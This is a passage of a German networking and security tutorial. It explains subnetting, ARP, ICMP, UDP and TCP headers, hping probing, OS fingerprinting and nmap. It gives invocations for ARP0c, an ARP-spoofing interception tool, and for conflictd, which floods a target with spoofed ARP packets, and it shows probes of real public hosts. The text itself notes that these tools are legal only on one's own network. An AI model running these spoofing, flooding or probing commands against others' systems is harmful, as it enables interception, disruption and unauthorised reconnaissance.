255.255.255.0 bzw. 11111111 11111111 11111111 00000000
In einem Class B-Netz hätten wir dann:
255.255.0.0 bzw. 11111111 11111111 00000000 00000000
Leider sind heutzutage die Ergebnisse der Whois-Anfragen teilweise recht unterschiedlich. Das Ergebnis der Suche nach z.B. hansa-gymnasium.de ist ursprünglich ziemlich umfangreich:
whois hansa-gymnasium.de % Copyright (c)2006 by DENIC % Version: 1.07.3 % % Restricted rights. % % % Terms and Conditions of Use % % All the domain data that is visible in the whois search is protected % by law. It is not permitted to use it for any purpose other than % technical or administrative requirements associated with the % operation of the Internet or in order to contact the domain holder % over legal problems. You are not permitted to save it electronically % or in any other way without DENIC's express written permission. It % is prohibited, in particular, to use it for advertising or any similar % purpose. % % By maintaining the connection you assure that you have a legitimate % interest in the data and that you will only use it for the stated % purposes. You are aware that DENIC maintains the right to initiate % legal proceedings against you in the event of any breach of this % assurance and to bar you from using its whois query. Domain: hansa-gymnasium.de Domain-Ace: hansa-gymnasium.de Nserver: docks02.rzone.de Nserver: shades06.rzone.de Status: connect Changed: 2007-11-19T10:07:05+01:00 [Holder] Type: ORG Name: Hansa-Gymnasium Address: Helmut Andersen Address: Hermann-Distel-Strasse 25 Pcode: 21029 City: Hamburg Country: DE Changed: 2007-11-18T22:48:11+01:00 [Admin-C] Type: PERSON Name: Helmut Andersen Address: Hermann-Distel-Strasse 25 Pcode: 21029 City: Hamburg Country: DE Changed: 2005-10-30T18:48:10+01:00 ...
Das entspricht der Auskunft, die man auch über die Webseite http://www.denic.de/de/ erhält. Mehr Informationen bekommt man dort inzwischen erst, wenn man die Nutzungsbedingungen akzeptiert. Es sind also in den Datenbanken deutlich mehr Informationen verfügbar, aber z.T. nur über Webformulare verfügbar.
5.3.3 Subnetting
Gerade im Zusammenhang mit offiziellen IP-Adressen bekommt man oft kein ganzes Class-C Netz, sondern nur einen Teil davon, ein Subnetz.
Den Schulen in Hamburg steht z.B. der folgende IP-Bereich zur Verfügung:
195.37.209.128-195.37.209.159
Schaut man sich hier nur das letzte Quad in der Binärdarstellung an, so sind das die Adressen:
1000 0000 bis 1001 1111 die ersten drei Bits gehören also noch zum Netzwerkteil.
Damit ist die Netzwerkmaske
255.255.255.224 bzw. 11111111 11111111 11111111 1110 0000
die Netzwerkadresse 195.37.209.128
die Broadcastadresse 195.37.209.159
es stehen also 31 IP-Adressen zur Verfügung.
5.4. ARP/RARP
Bekanntlich kommunizieren Rechner im TCP/IP Netz über ihre IP-Adressen. Auf der Netzwerkebene erfolgt die Kommunikation aber über die Media Access Control (MAC) Adresse der Netzwerkkarte. Über das ARP-Protokoll erfolgt die Zuordnung zwischen IP- und MAC-Adresse.
Will z.B. der Rechner mit der IP-Adresse 192.168.1.31 den Rechner mit der IP-Adresse 192.168.1.1 erreichen, so benötigt er dessen MAC-Adresse. Dazu gibt er ein ARP-Paket per Broadcast ins Netz.
ARP: ----- ARP/RARP frame ----- ARP: ARP: Hardware Typ = 1 (Ethernet) ARP: Protokoll Typ = 0x0800 (IP) ARP: Länge der Hardware addresse = 6 bytes ARP: Länge der Protokoll Addresse = 4 bytes ARP: Opcode 1 (ARP request) ARP: Hardware Addresse Absender = 0000E2187CBD ARP: Protokoll Addresse = [192.168.1.31] ARP: Hardware Addresse Ziel = 000000000000 ARP: Protokoll Addresse Ziel = [192.168.1.1] ARP: ARP: 18 Bytes Füllung ARP:
Der angesprochene Rechner schickt dann, sofern erreichbar, ein Antwortpaket der folgenden Art.
ARP: ----- ARP/RARP frame ----- ARP: ARP: Hardware Typ = 1 (Ethernet) ARP: Protokoll Typ = 0x0800 (IP) ARP: Länge der Hardware addresse = 6 bytes ARP: Länge der Protokoll Addresse = 4 bytes ARP: Opcode 2 (ARP reply) ARP: Hardware Addresse Absender = 0048541B5973 ARP: Protokoll Addresse = [192.168.1.1] ARP: Hardware Addresse Ziel = 0000E2187CBD ARP: Protokoll Addresse Ziel = [192.168.1.31] ARP: ARP: 18 Bytes Füllung ARP:
Die Antwort nimmt der fragende Rechner in seine Arp-Tabelle mit auf, so dass er bei weiteren Datenübertragungen nicht erneut nachfragen muss. Der momentane Inhalt der Arp-Tabelle lässt sich auf den meisten Systemen mittels:
arp -a
abfragen. Für die Einträge in dieser Tabelle gilt eine gewisse Lebensdauer, danach werden die Einträge gelöscht, um Veränderungen im Netz erkennen zu können.
Ein ARP-Paket hat folgenden Aufbau:
Die Felder haben folgende Bedeutung:
- Harware-Typ (16 Bit) u.a.
-
- 1 Ethernet
- 4 Token Ring
- 7 Arcnet
- 17 HDLC
- 31 Ipsec Tunnel
- Protokoll-Typ (16 Bit)
- 0x0800IP
- Länge der Harware Adresse (8 Bit)
- 6 Byte bei Ethernet
- Länge der Protokoll Adresse (8Bit)
- 4 Byte bei IPv4
- Opcode (16 Byte) u.a.
-
- 1 ARP Request
- 2 ARP Reply
- 3 RARP Request
- 4 RARP Reply
- Hardware Adresse Absender
- hier steht bei Ethernet die MAC-Adresse mit einer Länge von 6 Byte
- Protokoll Adresse Absender
- bei IPv4 steht hier die IP Adresse mit einer Länge von 4 Byte
- Hardware Adresse Ziel
- hier steht bei Ethernet die MAC-Adresse mit einer Länge von 6 Byte
- Protokoll Adresse Ziel
- bei IPv4 steht hier die IP Adresse mit einer Länge von 4 Byte
Zusätzlich wird das Datenpaket noch mit 18 Byte aufgefüllt für den Versand per IP.
5.4.1. ARP0c
ARP0c http://www.phenoelit-us.org/fr/tools.html ist ein Programm, mit dem man Verbindungen auch in geswitchten Netzen überwachen kann, indem es die Arp-Tabellen der beteiligten Rechner manipuliert.
In einem geswitchten Netz sieht es für einen potentiellen Sniffer folgendermaßen aus:
+--------+ +--------+ +-------+ | HOST1 |- - - - -+ SWITCH +- - - - -| HOST2 | +--------+ +--------+ +-------+ | | ********* * YOU * <-- this host gets no packets *********
Der Angreifer sieht hier nur ARP-Anfragen oder andere Arten von Broadcast-Verkehr, der wenig interessant ist. Genau deshalb werden in vielen Netzen Switches auch eingesetzt.
Beim Einsatz von ARP0c antworten der richtige Rechner und der ARP0c-Rechner auf ARP-Anfragen. Während der richtige Rechner nur einmalig antwortet, fährt der ARP0c mit Antworten fort, um den Zielrechner informiert zu halten.
Die meisten Rechner verwerfen daraufhin die richtige Antwort und glauben den Aussagen des ARP0c-Rechners. Alle Datenpakete an den richtigen Rechner laufen damit über den ARP0c-Rechner, der sich darum kümmert die Datenpakete auch beim eigentlichen Empfänger abzuliefern, damit die Verbindung nicht unterbrochen wird.
+--------+ +--------+ +-------+ | HOST1 |- - - - .+ SWITCH +. - - - -| HOST2 | +--------+ \--------/ +-------+ \ | / \ | / ********* * ARP0c * <-- this host gets all packets *********.
ARP0c wird über zwei Textdateien konfiguriert. Die erste Datei (hier routes.txt) beschreibt das Netzwerk. Hier steht in einer Zeile:
Netzwerkadresse Netzwerkmaske Gateway
Beispiel
192.168.1.0 255.255.255.0 192.168.1.1
Die zweite Datei (hier server.txt) beschreibt die Verbindung, die umgeleitet werden soll. In dieser Datei können mehrere Verbindungen beschrieben werden. In jeder Zeile steht:
host1 host2
Beispiel:
192.168.1.1 192.168.1.92
Dann muss nur noch das Programm aufgerufen werden:
ARP0c -i < interface > -r < routingtable.file > -a < agressive_intercept.file >
Beispiel:
ARP0c -i eth0 -r routes.txt -a server.txt -v
5.4.2.conflictd
Eine interessante Anwendung von ARP stellt das Programm conflictd http://packetstormsecurity.org/DoS/conflictd.tar.gz zur Verfügung. Es versendet verfälschte ARP-Pakete, wodurch am Zielrechner ein Popup-Fenster mit einer Fehlermeldung erzeugt wird.
Der Aufruf
conflict-DoS eth0 192.168.1.56
erzeugt dann auf dem angegriffenen Rechner etwa 100 Popup-Fenster mit wenig aussagekräftigem Inhalt:
Gerade Wind9x-Anwender, die sehr viel mit der Maus arbeiten sind eine Weile beschäftigt, bis all diese Fenster beseitigt sind. Die werden dann auch kaum die nette MAC-Adresse würdigen wollen.
5.5. ICMP
ICMP dient zum Austausch von technischen Meldungen, die die eigentliche Internet-Schicht nicht erreichen müssen. Über ICMP können Netzwerkknoten Routing-Informationen austauschen. Auch kann z.B. ein Gateway einen Absender darüber informieren, dass der Zielrechner nicht erreichbar ist.
Die Felder haben folgende Bedutung:
- Typ (8Bit)
- Spezifiziert das Format der Nachricht
- 0 Echo Reply (Ping): Antwort auf ein Echo Request
- 3 Destination unreachable (Ziel nicht erreichbar): diese Nachricht wird z.B. versandt, wenn ein Netzwerk, Host, Protokoll oder Port nicht erreichbar ist, oder ein Paket nicht fragmentiert werden kann, weil das DF-Bit gesetzt ist
- 5 Redirect: Das Paket hat zum aktuellen Netzknoten nicht den geschicktesten Weg genommen. Der Absender wird über einen geschickteren Weg informiert.
- 8 Echo Request (Ping): Paket, das den Empfäger dazu auffordern soll ein Antwortpaket zu schicken. Damit kann die Erreichbarkeit des Zielrechners getestet werden
- 11 Time exceeded: Mitteilung an den Absender, dass die TTL seines Paketes 0 erreicht hat und das Paket wurde daher verworfen wurde.
- 13 Timestamp Request: Ähnelt dem Echo Request, nur dass hier zusätzliche Zeitinformationen übermittelt werden. Damit lässt sich die Netzlast feststellen.
- 14 Timestamp Reply: Antwort auf ein Timestamp Request
- Code (8Bit)
- Zusätzliche Informationen für die Nachricht. Bei den meisten Nachrichtentypen ist der Wert dieses Feldes 0. Bei manchen Nachrichtentypen stehen hier folgende Zusatzinformationen:
- Typ 3 (Destination Unreachable) Codes:
- 0 Net Unreachable
- 1 Host Unreachable
- 2 Protocol Unreachable
- 3 Port Unreachable
- 4 Fragmentation Needed and Don't Fragment was Set
- 5 Source Route Failed
- 6 Destination Network Unknown
- 7 Destination Host Unknown
- Typ 5 (Redirect) Codes:
- 0 Redirect Datagram for the Network (or subnet)
- 1 Redirect Datagram for the Host
- 2 Redirect Datagram for the Type of Service and Network
- 3 Redirect Datagram for the Type of Service and Host
- Typ 11 (Time Exceeded) Codes:
- 0 Time to Live exceeded in Transit
- 1 Fragment Reassembly Time Exceeded
- Kopf-Prüfsumme (16 Bit)
- Prüfsumme über den Header, im 1er Komplement über 16 Bit Worte
- Nachricht (variable Länge)
- Spezifische Informationen je nach Nachrichten-Typ. Ggf. auch zum Auffüllen des Paketes auf die Mindestlänge genutzt.
5.6. UDP
Als verbindungsloses Protokoll benötigt UDP keinerlei Bestätigung oder gar eine Sequenzverwaltung. UDP-Pakete werden in der Reihenfolge abgearbeitet, in der sie eintreffen. Verlorene Pakete werden nicht erneut angefordert, was z.B. bei einem Videostream oder einem Online-Spiel ja auch keinen Sinn machen würde.
Bei diesem Protokoll geht es nur darum, die Ports zu adressieren und für die Konsistenz des Datenpaketes selber zu sorgen. Hierzu dienen eine Längenangabe und eine Prüfsumme.
Aufbau einer UDP-Message:
- Absender-Port (16 Bit)
- Port für das Protokoll auf Sender-Seite. Kann auch auf 0 gesetzt sein.
- Empfänger-Port (16 Bit)
- Port für das Protokoll auf Empfänger-Seite. Kann auch auf 0 gesetzt sein.
- Länge (16 Bit)
- Länge des UDP-Headers und der Daten. Die Mindestlänge ist 8
- Prüfsumme (16 Bit)
- Prüfsumme im 1er-Komplement über die Daten im Header
5.7. TCP
Dieses Protokoll muss sich nicht um die Adressierung der Daten kümmern, sondern nur um die Sicherung. Der einzige Adressteil innerhalb dieses Protokolls ist die Portnummer, der eine Zuordnung zu Prozessen innerhalb der jeweiligen Rechner erlaubt.
Ein TCP-Segment hat folgenden Aufbau:
Die Felder haben folgende Bedeutung:
- Absender-Port (16 Bit)
- Port für das Protokoll auf Sender-Seite
- Empfänger-Port (16 Bit)
- Port für das Protokoll auf Empfänger-Seite
- Sequenz-Nummer (32 Bit)
- s.u.
- Bestätigungs-Nummer (32 Bit)
- Die Sequenznummer und die Bestätigungsnummer sind zwei 32-Bit-Zahlen, die die Stellung der Daten des Segments innerhalb ausgetauschten Datenstroms angeben. Die Sequenznummer gilt in Senderichtung, die Bestätigungsnummer für Empfangsquittungen. Jeder der beiden TCP-Verbindungspartner generiert beim Verbindungsaufbau eine Sequenznummer, die sich während der gesamten Verbindung nicht wiederholen darf (bei einem Zahlenraum von 2^32 sicherlich kein Problem). Diese Nummern werden beim Verbindungsaufbau ausgetauscht und gegenseitig quittiert.
- Bei der Datenübertragung wird die Sequenznummer vom Absender jeweils um die Anzahl der bereits gesendeten Bytes erhöht. Mit der Quittungsnummer gibt der Empfänger bei gesetztem ACK-Bit an, bis zu welchem Byte er die Daten bereits korrekt empfangen hat.
- Offset (4 Bit)
- Länge des Headers in 32 Bit Worten, kennzeichnet den Anfang des Datenbereiches. Notwendig, da der Header durch das Options-Feld eine variable Länge besitzt.
- Reserve (6 Bit)
- Zur Zeit nicht genutzt, muss jeweils auf 0 stehen.
- Flags (6 Bit)
- Mit den sechs 1-Bit-Flaggen wird u.a. der Verbindungsablauf gesteuert.
- URG wird das Flag Urgent pointer valid auf 1 gesetzt, so bedeutet dies, dass der Urgent Pointer (Dringend-Zeiger) verwendet wird.
- ACK Das Acknowledgment number valid-Bit wird gesetzt, um anzugeben, dass die Bestätigungsnummer im Feld Acknowledgement Number gültig ist. Ist das Bit auf 0 gesetzt, enthält das TCP-Segment keine Bestätigung, das Feld Acknowledgement Number wird ignoriert.
- PSH Ist das Push-Bit gesetzt, so werden die Daten in dem entsprechenden Segment sofort bei Ankunft der adressierten Anwendung bereitgestellt ohne sie zu puffern.
- RST Das Reset Connection-Bit dient dazu eine Verbindung zurückzusetzen, falls ein Fehler bei Übertragung aufgetreten ist.
- SYN Das Synchronize Sequenze Numbers-Bit wird verwendet, um Verbindungen aufzubauen. Zusammen mit der Acknowledgement Number und dem ACK-Bit wird die Verbindung im Form eines Dreiwege-Handshake aufgebaut (siehe oben).
- FIN Das End of Data-Bit dient zum Beenden einer Verbindung. Ist das Bit gesetzt, gibt dies an, dass der Sender keine weiteren Daten zu Übertragen hat. Das Segment mit gesetztem FIN-Bit muss quittiert werden.
- Fenster (16 Bit)
- Gibt an, wieviele Daten-Bytes der Absender dieses Segmentes in der Lage ist zu akzeptieren. Die angegebene Anzahl von Bytes kann der Empfänger dieser Information senden, ohne auf eine Quittung warten zu müssen.
- Prüfsumme (16 Bit)
- Prüfsumme für den Protokollkopf.
- Dringlichkeitsanzeiger (16 Bit)
- Wenn das URG-Flag gesetzt ist, dann ergibt dieser Wert zusammen mit der Sequenznummer einen Zeiger auf ein Datenbyte. TCP signalisiert damit, dass sich an dieser Stelle im Datenstrom wichtige Daten befinden, die sofort gelesen werden sollten.
- Optionen (variabel 0 bis 44 Byte)
- Das Options-Feld bietet die Möglichkeit Funktionen bereitzustellen, die im TCP-Protokollkopf nicht vorgesehen sind. In TCP sind drei Optionen definiert:
- 0 End of Option List (1 Byte),
- 1 No-Operation (1 Byte)
- 2 Maximum Segment Size (4 Byte)
- 8 Timestamp Value (10 Byte)
- Mit der Option maximale Segmentgröße kann ein Host die maximale Anzahl Nutzdaten übermitteln, die er annehmen will bzw. annehmen kann. Während eines Verbindungsaufbaus kann jede Seite ihr Maximum an Nutzdaten übermitteln, die kleinere der beiden Zahlen wird als maximale Nutzdatengröße für die Übertragung übernommen. Wird diese Option von einem Host nicht unterstützt, wird als Standardwert die Vorgabe von 536 Byte verwendet.
- Füllzeichen (variable)
- Dient dazu die Headerlänge trotz des variablen Optionen-Feldes auf volle 32 Bit Worte zu bringen.
Bevor man eine TCP-Verbindung benutzen kann, muss man sie zuerst einmal aufbauen. Dazu dient ein Dreier-Handshake. Nach dem eigentlichen Datenaustausch muss die Verbindung auch wieder abgebaut werden.
Im folgenden Beispiel will ein Rechner (Client) eine Verbindung zu einem anderen Rechner (Server) aufbauen und von dort z.B. eine HTML-Seite beziehen.
5.7.1. TCP-Verbindungsaufbau
Der Client schickt bei diesem Dreier-Handshake das erste Datenpaket, mit dem er den Verbindungsaufbau einleitet. Der Server antwortet mit einem Bestätigungspaket, worauf der Client die Verbindung als aufgebaut (established) erklärt.
5.7.2. TCP-Datenaustausch
Nach dem Verbindungsaufbau schickt der Server das erste Datenpaket, bei vielen Dienste eine Begrüßungsmeldung (in der Zwischenzeit wurden 5 Byte übertragen).
5.7.3. TCP-Verbindungsabbau
Zum Beenden der Verbindung sendet der Client ein Paket mit gesetztem FIN-Bit. Wenn nun der Server ebenfalls ein Paket mit gesetztem FIN-Bit schickt, dann ist die Verbindung beendet.
6. Rechner im Netz
In diesem Abschnitt soll es darum gehen, was man über einen Rechner im Netz erfahren kann, wenn man etwas Wissen über TCP/IP besitzt oder die richtigen Tools kennt.
Zu den wichtigsten Informationen gehören das Betriebssystem und die offenen Ports. Beide Informationen lassen sich oft sogar für Systeme ermitteln, die durch eine Firewall geschützt sind.
Hinweis: Die Nutzung vieler Tools gegenüber fremden Rechnern ist in Deutschland nach §202c STGB strafbar. Ein Netzwerkadministrator kann sie aber im eigenen Netz benutzen, um Risiken zu erkennen. Siehe auch http://de.wikipedia.org/wiki/Hackerparagraf.
6.1. OS Fingerprinting
Viele Größen im TCP/IP Protokoll sind nicht zwingend vorgeschrieben bzw. manche Betriebssystem-Versionen halten sich nicht an die Vorschriften. Aus diesen Größen lassen sich Rückschlüsse auf das Betriebssystem eines Rechners ziehen.
Die interessantesten TCP/IP Eigenschaften hierfür sind:
- TTL: Die Lebensdauer für ein ausgehendes Paket wird von den Betriebssystemen unterschiedlich gesetzt.
- Window Size: Auch die Window-Größe ist sehr unterschiedlich.
- DF: Viele, aber nicht alle Betriebssysteme setzen dieses Bit.
- TOS: Auch beim Type of Service Feld existieren Unterschiede.
Die folgende (nicht ganz aktuelle) Tabelle von http://old.honeynet.org/papers/finger/traces.txt gibt einen Überblick über die Bandbreite an unterschiedlichen Werten.
# OS VERSION PLATFORM TTL WINDOW DF TOS #--- ------- -------- --- ----------- -- --- DC-OSx 1.1-95 Pyramid/NILE 30 8192 n 0 Windows 9x/NT Intel 32 5000-9000 y 0 NetApp OnTap 5.1.2-5.2.2 54 8760 y 0 HPJetDirect ? HP_Printer 59 2100-2150 n 0 AIX 4.3.x IBM/RS6000 60 16000-16100 y 0 AIX 4.2.x IBM/RS6000 60 16000-16100 n 0 Cisco 11.2 7507 60 65535 y 0 DigitalUnix 4.0 Alpha 60 33580 y 16 IRIX 6.x SGI 60 61320 y 16 OS390 2.6 IBM/S390 60 32756 n 0 Reliant 5.43 Pyramid/RM1000 60 65534 n 0 FreeBSD 3.x Intel 64 17520 y 16 JetDirect G.07.x J3113A 64 5804-5840 n 0 Linux 2.2.x Intel 64 32120 y 0 OpenBSD 2.x Intel 64 17520 n 16 OS/400 R4.4 AS/400 64 8192 y 0 SCO R5 Compaq 64 24820 n 0 Solaris 8 Intel/Sparc 64 24820 y 0 FTX(UNIX) 3.3 STRATUS 64 32768 n 0 Unisys x Mainframe 64 32768 n 0 Netware 4.11 Intel 128 32000-32768 y 0 Windows 9x/NT Intel 128 5000-9000 y 0 Windows 2000 Intel 128 17000-18000 y 0 Cisco 12.0 2514 255 3800-5000 n 192 Solaris 2.x Intel/Sparc 255 8760 y 0
6.2. Weitere Informationen
Wenn der Serverbetreiber nicht aufpasst, dann kann man über das Netz eine Vielzahl weiterer Informationen über seinen Rechner abfragen.
Ein sehr nützliches Tool in diesem Zusammenhang ist das Programm hping, das inzwischen in der Version 3 zur Verfügung steht: http://www.hping.org/.
Im einfachsten Fall ist hping ein Ersatz für das übliche ping.
server:~ # ping -c 2 www.netthelp.de PING www.netthelp.de (85.214.46.129) 56(84) bytes of data. 64 bytes from nett-help.de (85.214.46.129): icmp_seq=1 ttl=59 time=33.1 ms 64 bytes from nett-help.de (85.214.46.129): icmp_seq=2 ttl=59 time=33.0 ms --- www.netthelp.de ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 33.067/33.108/33.150/0.186 ms
Über den Schalter -c 2 legt man in beiden Programmen fest, dass nur zwei Pakete verschickt werden sollen (mit -1 bekommt man ICMP-Pakete).
server:~ # hping -c 2 -1 www.netthelp.de HPING www.netthelp.de (eth0 85.214.46.129): icmp mode set, 28 headers + 0 data bytes len=46 ip=85.214.46.129 ttl=59 id=59061 icmp_seq=0 rtt=32.7 ms len=46 ip=85.214.46.129 ttl=59 id=59062 icmp_seq=1 rtt=32.7 ms --- www.netthelp.de hping statistic --- 2 packets tramitted, 2 packets received, 0% packet loss round-trip min/avg/max = 32.7/32.7/32.7 ms
Spannend wird die Nutzung von hping dann, wenn man mit Rechnern zu tun hat, die auf ICMP-Meldungen nicht reagieren. Hping benutzt nämlich TCP und da kann man dann die Möglichkeiten des Protokolles voll ausnutzen.
Eines der Rechnersysteme, die per Ping nicht erreichbar sind, ist www.microsoft.com
server:~ # ping -c2 www.microsoft.com PING lb1.www.ms.akadns.net (207.46.19.254) 56(84) bytes of data. --- lb1.www.ms.akadns.net ping statistics --- 2 packets transmitted, 0 received, 100% packet loss, time 1003ms
Ganz gelegentlich erhält man vom Router eine Meldung host unreachable, normalerweise verschwinden die Pakete einfach. Die IP-Adresse für www.microsoft.com variiert übrigens sehr stark, da hier viele Rechner hinter dem Namen stecken und über einen Lastverteiler zugeordnet werden. Ein einfaches hping www.microsoft.com funktioniert hier aber auch nicht, da hping dann den TCP Port 0 anspricht, der hier auch vom Router gefiltert wird. Da aber auf dem Rechner sicherlich der Port 80 zur Verfügung steht, könnte man diesen Port ansprechen, was interessanterweise auch einigen Paketen gelingt.
server:~ # hping -c 2 -p 80 www.microsoft.com HPING www.microsoft.com (eth0 207.46.19.190): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=207.46.19.190 ttl=246 id=45111 sport=80 flags=R seq=0 win=8201 rtt=189.4 ms len=46 ip=207.46.19.190 ttl=246 id=54366 sport=80 flags=R seq=1 win=8201 rtt=189.7 ms --- www.microsoft.com hping statistic --- 2 packets tramitted, 2 packets received, 0% packet loss round-trip min/avg/max = 189.4/189.6/189.7 ms
Um alle Pakete ans Ziel zu bekommen, kann man noch das Syn-Bit setzen, dann klappt der Ping auch auf diesen Rechner.
server:~ # hping -c 2 -p 80 -S www.microsoft.com HPING www.microsoft.com (eth0 207.46.192.254): S set, 40 headers + 0 data bytes len=46 ip=207.46.192.254 ttl=246 id=17409 sport=80 flags=SA seq=0 win=8190 rtt=191.6 ms len=46 ip=207.46.192.254 ttl=246 id=59697 sport=80 flags=SA seq=1 win=8190 rtt=195.1 ms --- www.microsoft.com hping statistic --- 2 packets tramitted, 2 packets received, 0% packet loss round-trip min/avg/max = 191.6/193.4/195.1 ms
Selbstverständlich kann hping auch als Ersatz für Traceroute dienen:
server:~ # hping -p 80 -S -T www.microsoft.com HPING www.microsoft.com (eth0 207.46.19.190): S set, 40 headers + 0 data bytes hop=1 TTL 0 during transit from ip=192.168.1.254 name=client-254.hsan.hh.schule.de hop=1 hoprtt=0.7 ms hop=2 TTL 0 during transit from ip=213.191.84.199 name=lo1.br04.weham.de.hansenet.net hop=2 hoprtt=28.2 ms hop=3 TTL 0 during transit from ip=62.109.120.125 name=ae0-101.cr01.weham.de.hansenet.net hop=3 hoprtt=25.7 ms hop=4 TTL 0 during transit from ip=62.109.119.10 name=ae1-104.pr05.asham.de.hansenet.net hop=4 hoprtt=26.4 ms hop=5 TTL 0 during transit from ip=89.221.35.29 name=amb1-hansenet-3.amb.seabone.net hop=5 hoprtt=26.4 ms hop=6 TTL 0 during transit from ip=195.22.206.42 name=unassigned.ash.seabone.net hop=6 hoprtt=118.9 ms hop=7 TTL 0 during transit from ip=207.46.41.130 name=ge-4-3-0-46.ash-64cb-1a.ntwk.msn.net hop=7 hoprtt=118.9 ms hop=8 TTL 0 during transit from ip=207.46.41.34 name=UNKNOWN hop=8 hoprtt=122.7 ms hop=9 TTL 0 during transit from ip=207.46.33.213 name=ge-6-2-0-0.pao-64cb-1b.ntwk.msn.net hop=9 hoprtt=189.5 ms hop=10 TTL 0 during transit from ip=207.46.37.169 name=xe-1-0-1-0.bay-16c-1b.ntwk.msn.net hop=10 hoprtt=189.3 ms len=46 ip=207.46.19.190 ttl=246 id=20940 sport=80 flags=SA seq=10 win=8190 rtt=189.4 ms len=46 ip=207.46.19.190 ttl=246 id=2035 sport=80 flags=SA seq=11 win=8190 rtt=185.7 ms len=46 ip=207.46.19.190 ttl=246 id=59676 sport=80 flags=SA seq=12 win=8190 rtt=185.8 ms len=46 ip=207.46.19.190 ttl=246 id=59459 sport=80 flags=SA seq=13 win=8190 rtt=185.2 ms
Nach dem Erreichen des Zielrechners läuft alles wie ein normaler hping weiter.
Aus den Daten von hping kann man noch viel mehr entnehmen. Die Änderung der ID lässt Rückschlüsse auf den Datendurchsatz des Rechners zu. Damit man nicht jeweils erst die Differenz bilden muss, kennt hping den Schalter -r, der genau das bewirkt.
server:~ # hping -p 80 -S -r www.informatik.uni-hamburg.de HPING www.informatik.uni-hamburg.de (eth0 134.100.9.77): S set, 40 headers + 0 data bytes len=46 ip=134.100.9.77 ttl=52 DF id=60758 sport=80 flags=SA seq=0 win=49680 rtt=54.7 ms len=46 ip=134.100.9.77 ttl=52 DF id=+1 sport=80 flags=SA seq=1 win=49680 rtt=55.1 ms len=46 ip=134.100.9.77 ttl=52 DF id=+1 sport=80 flags=SA seq=2 win=49680 rtt=53.8 ms len=46 ip=134.100.9.77 ttl=52 DF id=+1 sport=80 flags=SA seq=3 win=49680 rtt=54.8 ms len=46 ip=134.100.9.77 ttl=52 DF id=+3 sport=80 flags=SA seq=4 win=49680 rtt=54.5 ms len=46 ip=134.100.9.77 ttl=52 DF id=+1 sport=80 flags=SA seq=5 win=49680 rtt=54.2 ms
Die id muss sich zwischen zwei hpings mindestens um 1 erhöhen. Jede weitere Erhöhung ist ein Hinweis auf ein Datenpaket an einen anderen Rechner. Damit kann man den Traffic auf dem fernen Rechner abschätzen.
Zum Vergleich ein Rechner mit großer Last:
server:~ # hping -p 80 -S -r www.heise.de HPING www.heise.de (eth0 193.99.144.85): S set, 40 headers + 0 data bytes len=46 ip=193.99.144.85 ttl=249 DF id=59348 sport=80 flags=SA seq=0 win=4356 rtt=35.9 ms len=46 ip=193.99.144.85 ttl=249 DF id=+14448 sport=80 flags=SA seq=1 win=4356 rtt=35.5 ms len=46 ip=193.99.144.85 ttl=249 DF id=+12917 sport=80 flags=SA seq=2 win=4356 rtt=37.1 ms len=46 ip=193.99.144.85 ttl=249 DF id=+14003 sport=80 flags=SA seq=3 win=4356 rtt=44.4 ms len=46 ip=193.99.144.85 ttl=249 DF id=+11757 sport=80 flags=SA seq=4 win=4356 rtt=36.1 ms len=46 ip=193.99.144.85 ttl=249 DF id=+14429 sport=80 flags=SA seq=5 win=4356 rtt=37.4 ms len=46 ip=193.99.144.85 ttl=249 DF id=+12996 sport=80 flags=SA seq=6 win=4356 rtt=35.5 ms len=46 ip=193.99.144.85 ttl=249 DF id=+13374 sport=80 flags=SA seq=7 win=4356 rtt=36.1 ms len=46 ip=193.99.144.85 ttl=249 DF id=+15737 sport=80 flags=SA seq=8 win=4356 rtt=44.1 ms
Der Serverbetreiber kann die Informationsmöglichkeit unterbinden, dann wird als id immer 0 geliefert.
Ermittelt man die Differenzen über einen längeren Zeitraum, so lassen sich recht einfach Lastmessungen bei fremden Rechnern erstellen (siehe auch c't 23,2003), hier www.heise.de.
Trägt man nicht die Differenzen auf, sondern die absoluten Werte, so ergeben sich Geraden, eventuell mehrere. Die Zahl dieser Geraden entspricht dann der Zahl der Rechner, die hinter der angegebenen IP-Adresse stecken.
Im vorliegenden Fall (reiseauskunft.bahn.de) lässt sich auf drei unterschiedliche Rechner schließen, die die Anfragen beantworten.
Aus den TCP-Daten kann man häufig sogar ermitteln, wie lange ein Rechner in Betrieb ist, dazu gibt es ein Timestamp-Feld. Aus der Differenz zwischen den Timestamps zweier Pakete kann hping die Uptime (Betriebszeit) errechnen:
server:~ # hping -p 80 -S --tcp-timestamp www.netthelp.de HPING www.netthelp.de (eth0 85.214.46.129): S set, 40 headers + 0 data bytes len=56 ip=85.214.46.129 ttl=59 DF id=0 sport=80 flags=SA seq=0 win=5792 rtt=33.5 ms TCP timestamp: tcpts=930276351 len=56 ip=85.214.46.129 ttl=59 DF id=+0 sport=80 flags=SA seq=1 win=5792 rtt=32.7 ms TCP timestamp: tcpts=930276601 HZ seems hz=100 System uptime seems: 107 days, 16 hours, 6 minutes, 6 seconds len=56 ip=85.214.46.129 ttl=59 DF id=+0 sport=80 flags=SA seq=2 win=5792 rtt=32.8 ms TCP timestamp: tcpts=930276852 HZ seems hz=100 System uptime seems: 107 days, 16 hours, 6 minutes, 8 seconds
Diese Informationen liefern in der Regel nur Unix-Rechner und auch dort lassen sie sich relativ einfach unterbinden. Gut gepflegte Rechner liefern die Information daher leider nicht mehr.
6.3. Nmap
Für das Sammeln von Informationen über einen Rechner im Internet setzt man in der Regel fertige Tools ein, die sog. Portscanner. Der Klassiker unter den Protscannern ist das Programm nmap von http://www.insecure.org/nmap/index.html. Viele der in diesem Kapitel beschriebenen Möglichkeiten zur Sammlung von Informationen stammen von den Entwicklern dieses Programmes.
Im einfachsten Fall ruft man nmap mit der Adresse des Zielrechners auf:
nmap www.zielrechner.de
nmap führt dann einen Portscan mit Verbindungsaufbau durch, das entspricht dem ausführlicheren Kommando
nmap -sT www.zielrechner.de
Der Schalter -s steht hierbei für Scan, der Parameter T für Connect.
Nmap kennt die folgenden Scanmethoden:
- -sT
- Connect Scanning, führt mit jedem der interessierenden Ports auf dem Zielrechner einen Verbindungsaufbau durch. Diese Art des Scans wird auf den Zielrechnern aber sehr oft protokolliert bzw. abgeblockt.
- -sS
